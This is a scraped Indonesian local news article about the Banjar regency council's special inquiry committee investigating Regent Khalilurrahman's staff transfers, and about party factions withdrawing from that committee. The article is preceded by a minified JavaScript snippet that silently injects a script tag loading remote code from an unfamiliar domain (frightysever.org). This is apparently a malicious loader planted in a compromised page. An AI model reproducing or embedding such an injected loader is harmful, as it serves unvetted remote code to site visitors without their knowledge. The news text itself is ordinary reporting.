(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Sebagaimana diberitakan sebelumnya, salah satu gong dari Pansus Hak Angket ini nantinya adalah akan meminta keterangan dari Bupati Banjar H Khalilurrahman. Pemanggilan tersebut terkait isu utama yang menjadi pembahasan seputar mutasi pejabat yang dilakukan beberapa waktu lalu. Namun, sampai saat ini belum ada kepastian kapan pemanggilan dilakukan di tengah akan habisnya waktu kerja pansus. Padahal, jadwal paripurna telah diagendakan pada 26 Maret nanti.
Terkait pemanggilan dua pakar hukum Tata Negara tersebut, Ketua Pansus Hak Angket, Akhmadi Rozanie mengatakan, untuk memperkuat pijakan hukum dari jalannya hak angket. “Sebagai contoh apakah hak angket harus didahului dengan hak Interpelasi, atau baru hak angket, atau hak menyatakan pendapat baru hak angket. Namun tadi sudah dijelaskan oleh yang ahli bahwa hal tersebut tidak perlu harus berurutan, dan saya rasa yang kita jalankan selama ini sudah benar berdasarkan prosedur yang berlaku secara hukum,†tegasnya.
Poin kedua, kata Rozanie adalah menanyakan keabsahan panitia angket saat ini yang jumlahnya jauh berkurang dengan banyaknya anggota yang menarik diri. Dan jawaban Refly tadi mengatakan, tetap sah. Karena yang berwenang membubarkan panitia angket adalah paripurna.
“Sekarang tinggal kami diskusikan kepada tim yang masih berada dalam hak angket untuk menindak lanjuti panggilan terhadap Bupati Khalilurahman, karena ada keterangan-keterangan yang harus kita tanyakan dan itu sah-sah saja menurut para ahli,†katanya.
Di sisi lain, kolega Rozanie di Pansus, Ismail Hasan dari Fraksi Demokrat mengatakan, terkait banyaknya penilaian orang bahwa Pansus hak angket dewan adalah untuk menyerang seorang ulama yang saat ini menjadi pemimpin adalah tidak benar. Dia mengatakan, keberadaan hak angket adalah untuk meluruskan kebijakan yang dinilai tidak sesuai dengan aturan yang tertuang dalam undang-undang.
“Hak angket bukan untuk menghakimi ulama, tetapi hak angket ada untuk mengkritik kebijakan yang menurut kita telah keluar dari aturan yang tertuang dalam undang-undang. Kalau saya bertemu guru Kholil, saya tetap cium tangan, dan itu adalah bentuk penghormatan kepada ulama. Namun dalam hal kebijakan yang diambil oleh beliau, kalau ada yang tidak sesuai maka saya kritik,†jelasnya.
Dalam perjalanannya, semenjak dibentuk tanggal 26 Desember 2017 lalu, Pansus Angket telah meminta keterangan puluhan saksi dan pengumpulan sejumlah barang bukti. Katanya, tingkat capaian sudah 90 persen. Tinggal nanti hasilnya akan dibawa ke sidang paripurna DPRD.
“Dari hasil wawancara kita dan pengumpulan barang bukti, kita sudah memiliki data-data dan barang bukti yang sangat kuat. Tinggal nanti kita akan menyampaikan pada sidang paripurna,†tegas Rozanie yang merupakan politikus dari fraksi Partai Nasdem ini.
Terus Berkurang
Jelang berakhirnya 60 hari kerja Panitia Khusus (Pansus) Hak Angket DPRD Banjar, tubuh pansus memang terus didera penggerogotan internal. Satu persatu anggota, akhirnya memilih hengkang hingga saat ini cuma tersisa empat orang.
Pada awal terbentuknya Pansus Hak Angket ini, jumlahnya masih 10 orang. Tapi, jumlah ini berkurang 1 setelah dari Frkasi PKB menarik diri. Lalu disusul Fraksi Golkar, yang merupakan pemilik kursi terbesar di keanggotaan pansus menarik tiga anggotanya pada 4 Maret 2018. Hengkangnya Fraksi Golkar dari keanggotaan Pansus Hak Angket disampikan melalui surat No: 01 /FPG/DPRD/III/2018 yang ditujukan kepada Pimpinan DPRD Kabupaten Banjar. Surat yang tandatangani Ketua Fraksi Golkar Drs Kamaruzzaman dan Sekretaris Fraksi M Chairil Anwar S.Pd.I. menyatakan penarikan 3 anggotanya yang duduk di Pansus Hak Angket. Yakni Kamaruzzaman, Chairil Anwar, dan Kasmili.
Kamaruzzaman berdalih mundurnya dari keanggotaan Pansus hanya menindklanjuti perintah dari Ketua DPD Partai Golkar Kalsel melalui Korwil 1 Puar Junaidi. “Kami hanya menjalankan perintah dari pimpinan partai,†dalih Kamaruzzaman.
Sepekan berlalu setelah Fraksi Golkar, yang mengejutkan Fraksi Gerindra ikut-ikutan. Padahal, salah satu anggotanya yang duduk di pansus memegang posisi penting sebagai Wakil Ketua, yakni Khairuddin. Selain Khairuddin yang juga menjabat sebagai Wakil Ketua Tim Angket, H Mardani yang juga tergabung dalam Fraksi Gerindra dari Partai Bulan Bintang (PBB) praktis juga keluar dari keanggotaan pansus.
Otomatis, kini kekuatan Pansus yang menyoal mutasi pejabat oleh Bupati Khalilurrahaman itu hanya tinggal empat orang. Yakni 2 anggota dari PPP, 1 dari Partai Demokrat, dan 1 lagi dari Partai Nasdem.
Rontoknya jumlah anggota Pansus, menunjukkan bahwa pertarungan politik terkait masalah ini tidaklah remeh. Apalagi kabar yang beredar sebelumnya, ujung-ujungnya dari Pansus Hak Angket ini nanti bisa membahayakan posisi Bupati Khalilurrahman. Sehingga bukan hal muskil pula, jika kubu Bupati juga berupaya menggembosi internal Pansus agar tak tercapai target. Atau paling tidak, melobi agar keputusan Pansus nanti tidak terlalu meruncing yang berujung pada semakin renggangnya hubungan eksekutif dan legislatif.
Tapi memang, sejak dari awal pembentukan Pansus Aset memang suara DPRD Banjar tidak bulat. Pada agenda pemandangan fraksi di DPRD Banjar menyangkut pembahasan hak angket terhadap Bupati Banjar, ditanggapi berbeda sejumlah fraksi. Ada yang mendukung, menolak, dan adapula yang memilih menyerahkan pada keputusan paripurna.(rendy)
KANALKALIMANTAN.COM, MARTAPURA - Santri TK Al Quran se-Kabupaten Banjar mengikuti Munaqasah yang digelar Badan Komunikasi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Peta koalisi partai politik jelang Pilkada 2024 di Kota Banjarbaru Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Teka-teki maju atau tidaknya Aditya Mufti Ariffin mulai terjawab, bahkan siapa calon… Read More
KANALKALIMANTAN.COM, BANJARBARU – Berawal dari temuan sarang kelulut di dalam pondasi rumah tinggal warga, muncul… Read More
KANALKALIMANTAN.COM, BANJARBARU - Nama Darmawan Jaya Setiawan menjadi orang pertama yang menyerahkan formulir pendaftaran penjaringan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersama jajarannya menghadiri kegiatan silaturahmi… Read More
This website uses cookies.